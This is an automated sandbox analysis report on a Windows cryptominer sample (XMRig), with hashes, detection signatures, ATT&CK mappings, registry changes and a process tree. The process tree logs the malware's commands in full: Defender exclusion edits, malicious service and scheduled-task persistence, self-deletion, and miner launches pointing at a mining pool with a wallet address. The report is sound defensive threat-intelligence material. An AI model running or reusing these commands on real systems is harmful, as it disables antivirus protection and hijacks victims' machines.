xmrig | b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 03:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe
Size

14.0MB
MD5

228c09c31156d45dfe94195bb34d1399
SHA1

20c6ce4757be1399032b2ac6873dc505c1d02839
SHA256

b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb
SHA512

003557ad24f826143a50cce81b56489c7768951ecdfef9b01fe645f5453ae8cf36bd1b2b6e5e3bd8d27131cf3a2d54d20b7c699ae582e2528b65aee8a560f40c
SSDEEP

393216:hPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCyGTQP76NuudqfZnXSdEVB3:hITk1

Score

10^/10

xmrig discovery execution miner persistence

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x00030000000006dd-224.dat	family_xmrig
behavioral2/files/0x00030000000006dd-224.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4928	powershell.exe
1592	powershell.exe
2320	powershell.exe
396	powershell.exe
3356	powershell.exe
1448	powershell.exe
4792	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\x121792\Parameters\ServiceDll = "C:\\Windows\\System32\\x121792.dat"	reg.exe

Executes dropped EXE 4 IoCs

pid	Process
3080	printui.exe
1460	console_zero.exe
4444	x906150.dat
4124	x906150.dat

Loads dropped DLL 13 IoCs

pid	Process
3080	printui.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
1460	console_zero.exe
1460	console_zero.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
101	raw.githubusercontent.com
105	raw.githubusercontent.com
86	raw.githubusercontent.com
87	raw.githubusercontent.com
91	raw.githubusercontent.com
93	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ipinfo.io
36	ipinfo.io

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2672	cmd.exe
1752	ARP.EXE

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\libssl-3-x64.dll	printui.exe
File created	C:\Windows\System32\ucrtbased.dll	printui.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	\??\c:\windows\system32\winsvcf\x906150.dat	svchost.exe
File created	\??\c:\windows\system32\winsvcf\WinRing0x64.sys	svchost.exe
File created	C:\Windows\System32\zlib1.dll	printui.exe
File created	C:\Windows\System32\libcrypto-3-x64.dll	printui.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\x121792.dat	printui.exe
File opened for modification	\??\c:\windows\system32\winsvcf\winlogsvc	svchost.exe
File created	\??\c:\windows\system32\winsvcf\x104031.dat	svchost.exe
File created	C:\Windows\System32\libiconv-2.dll	printui.exe
File created	C:\Windows\System32\console_zero.exe	printui.exe
File created	C:\Windows\System32\vcruntime140d.dll	printui.exe
File created	C:\Windows\System32\libwinpthread-1.dll	printui.exe
File created	C:\Windows\System32\libpq.dll	printui.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\System32\winsvcf\winlogsvc	printui.exe
File created	C:\Windows\System32\libcurl.dll	printui.exe
File created	C:\Windows\System32\libintl-9.dll	printui.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3756	sc.exe
2480	sc.exe

Embeds OpenSSL 2 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x0007000000023ca0-36.dat	embeds_openssl
behavioral2/files/0x0007000000023ca5-72.dat	embeds_openssl

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
3052	timeout.exe
876	timeout.exe
2732	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1636	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4532	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2320	powershell.exe
2320	powershell.exe
396	powershell.exe
396	powershell.exe
3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe
3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe
3356	powershell.exe
3356	powershell.exe
1448	powershell.exe
1448	powershell.exe
4792	powershell.exe
4792	powershell.exe
4928	powershell.exe
4928	powershell.exe
1592	powershell.exe
1592	powershell.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe
4232	svchost.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	396	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeLockMemoryPrivilege	4444	x906150.dat
Token: SeLockMemoryPrivilege	4124	x906150.dat

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4444	x906150.dat
4124	x906150.dat

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 1996	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	82
PID 3272 wrote to memory of 1996	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	82
PID 1996 wrote to memory of 2320	1996	cmd.exe	84
PID 1996 wrote to memory of 2320	1996	cmd.exe	84
PID 3272 wrote to memory of 1940	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	85
PID 3272 wrote to memory of 1940	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	85
PID 1940 wrote to memory of 396	1940	cmd.exe	87
PID 1940 wrote to memory of 396	1940	cmd.exe	87
PID 3272 wrote to memory of 4552	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	88
PID 3272 wrote to memory of 4552	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	88
PID 3272 wrote to memory of 1924	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	90
PID 3272 wrote to memory of 1924	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	90
PID 1924 wrote to memory of 3080	1924	cmd.exe	92
PID 1924 wrote to memory of 3080	1924	cmd.exe	92
PID 3272 wrote to memory of 2576	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	93
PID 3272 wrote to memory of 2576	3272	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe	93
PID 3080 wrote to memory of 4620	3080	printui.exe	95
PID 3080 wrote to memory of 4620	3080	printui.exe	95
PID 2576 wrote to memory of 2732	2576	cmd.exe	97
PID 2576 wrote to memory of 2732	2576	cmd.exe	97
PID 4620 wrote to memory of 3356	4620	cmd.exe	98
PID 4620 wrote to memory of 3356	4620	cmd.exe	98
PID 3080 wrote to memory of 4640	3080	printui.exe	99
PID 3080 wrote to memory of 4640	3080	printui.exe	99
PID 4640 wrote to memory of 3756	4640	cmd.exe	101
PID 4640 wrote to memory of 3756	4640	cmd.exe	101
PID 4640 wrote to memory of 1636	4640	cmd.exe	102
PID 4640 wrote to memory of 1636	4640	cmd.exe	102
PID 4640 wrote to memory of 2480	4640	cmd.exe	103
PID 4640 wrote to memory of 2480	4640	cmd.exe	103
PID 3080 wrote to memory of 2780	3080	printui.exe	105
PID 3080 wrote to memory of 2780	3080	printui.exe	105
PID 2780 wrote to memory of 1460	2780	cmd.exe	107
PID 2780 wrote to memory of 1460	2780	cmd.exe	107
PID 3080 wrote to memory of 2348	3080	printui.exe	108
PID 3080 wrote to memory of 2348	3080	printui.exe	108
PID 3080 wrote to memory of 2328	3080	printui.exe	109
PID 3080 wrote to memory of 2328	3080	printui.exe	109
PID 2348 wrote to memory of 3052	2348	cmd.exe	112
PID 2348 wrote to memory of 3052	2348	cmd.exe	112
PID 2328 wrote to memory of 876	2328	cmd.exe	113
PID 2328 wrote to memory of 876	2328	cmd.exe	113
PID 1460 wrote to memory of 1996	1460	console_zero.exe	123
PID 1460 wrote to memory of 1996	1460	console_zero.exe	123
PID 1996 wrote to memory of 4532	1996	cmd.exe	125
PID 1996 wrote to memory of 4532	1996	cmd.exe	125
PID 4232 wrote to memory of 4148	4232	svchost.exe	126
PID 4232 wrote to memory of 4148	4232	svchost.exe	126
PID 4148 wrote to memory of 1448	4148	cmd.exe	128
PID 4148 wrote to memory of 1448	4148	cmd.exe	128
PID 4232 wrote to memory of 3920	4232	svchost.exe	129
PID 4232 wrote to memory of 3920	4232	svchost.exe	129
PID 3920 wrote to memory of 4792	3920	cmd.exe	131
PID 3920 wrote to memory of 4792	3920	cmd.exe	131
PID 4232 wrote to memory of 3756	4232	svchost.exe	132
PID 4232 wrote to memory of 3756	4232	svchost.exe	132
PID 3756 wrote to memory of 4928	3756	cmd.exe	134
PID 3756 wrote to memory of 4928	3756	cmd.exe	134
PID 4232 wrote to memory of 1964	4232	svchost.exe	135
PID 4232 wrote to memory of 1964	4232	svchost.exe	135
PID 1964 wrote to memory of 1592	1964	cmd.exe	137
PID 1964 wrote to memory of 1592	1964	cmd.exe	137
PID 4232 wrote to memory of 2672	4232	svchost.exe	138
PID 4232 wrote to memory of 2672	4232	svchost.exe	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe
"C:\Users\Admin\AppData\Local\Temp\b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:396
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c mkdir "\\?\C:\Windows \System32"
  2⤵
  PID:4552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c start "" "C:\Windows \System32\printui.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows \System32\printui.exe
    "C:\Windows \System32\printui.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3356
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c sc create x121792 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x121792\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x121792.dat" /f && sc start x121792
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\Windows\System32\sc.exe
        
        sc create x121792 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
        5⤵
        Launches sc.exe
        
        PID:3756
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\services\x121792\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x121792.dat" /f
        5⤵
        Server Software Component: Terminal Services DLL
        Modifies registry key
        
        PID:1636
    - - C:\Windows\System32\sc.exe
        
        sc start x121792
        5⤵
        Launches sc.exe
        
        PID:2480
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2780
    - - C:\Windows\System32\console_zero.exe
        
        "C:\Windows\System32\console_zero.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1460
      - C:\Windows\System32\cmd.exe
        
        cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1996
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4532
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2348
    - - C:\Windows\System32\timeout.exe
        
        timeout /t 14 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3052
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows \System32\printui.dll"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2328
    - - C:\Windows\System32\timeout.exe
        
        timeout /t 16 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\Admin\AppData\Local\Temp\b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\system32\timeout.exe
    timeout /t 10 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k DcomLaunch
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1448
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4792
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'G:\'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'G:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4928
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'H:\'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'H:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c arp -a
  2⤵
  - Network Service Discovery
  PID:2672
- - C:\Windows\system32\ARP.EXE
    arp -a
    3⤵
    - Network Service Discovery
    PID:1752
- C:\Windows\System32\cmd.exe
  cmd.exe /c x906150.dat -o zeph.2miners.com:2222 -u ZEPHsCzKB2ZGWC6JHdKvUo6G8wdTPeuwiAhEYfMqBjn7hAAhVe9gWjtFoboAMtrnHaeH7coq9UpVA1CCvkLHojHyWf2UXpBHHj7 --rig-id=rig_00 --max-cpu-usage=50
  2⤵
  PID:4264
- - \??\c:\windows\system32\winsvcf\x906150.dat
    x906150.dat -o zeph.2miners.com:2222 -u ZEPHsCzKB2ZGWC6JHdKvUo6G8wdTPeuwiAhEYfMqBjn7hAAhVe9gWjtFoboAMtrnHaeH7coq9UpVA1CCvkLHojHyWf2UXpBHHj7 --rig-id=rig_00 --max-cpu-usage=50
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4444
- C:\Windows\System32\cmd.exe
  cmd.exe /c x906150.dat -o zeph.2miners.com:2222 -u ZEPHsCzKB2ZGWC6JHdKvUo6G8wdTPeuwiAhEYfMqBjn7hAAhVe9gWjtFoboAMtrnHaeH7coq9UpVA1CCvkLHojHyWf2UXpBHHj7 --rig-id=rig_00 --max-cpu-usage=50
  2⤵
  PID:2756
- - \??\c:\windows\system32\winsvcf\x906150.dat
    x906150.dat -o zeph.2miners.com:2222 -u ZEPHsCzKB2ZGWC6JHdKvUo6G8wdTPeuwiAhEYfMqBjn7hAAhVe9gWjtFoboAMtrnHaeH7coq9UpVA1CCvkLHojHyWf2UXpBHHj7 --rig-id=rig_00 --max-cpu-usage=50
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
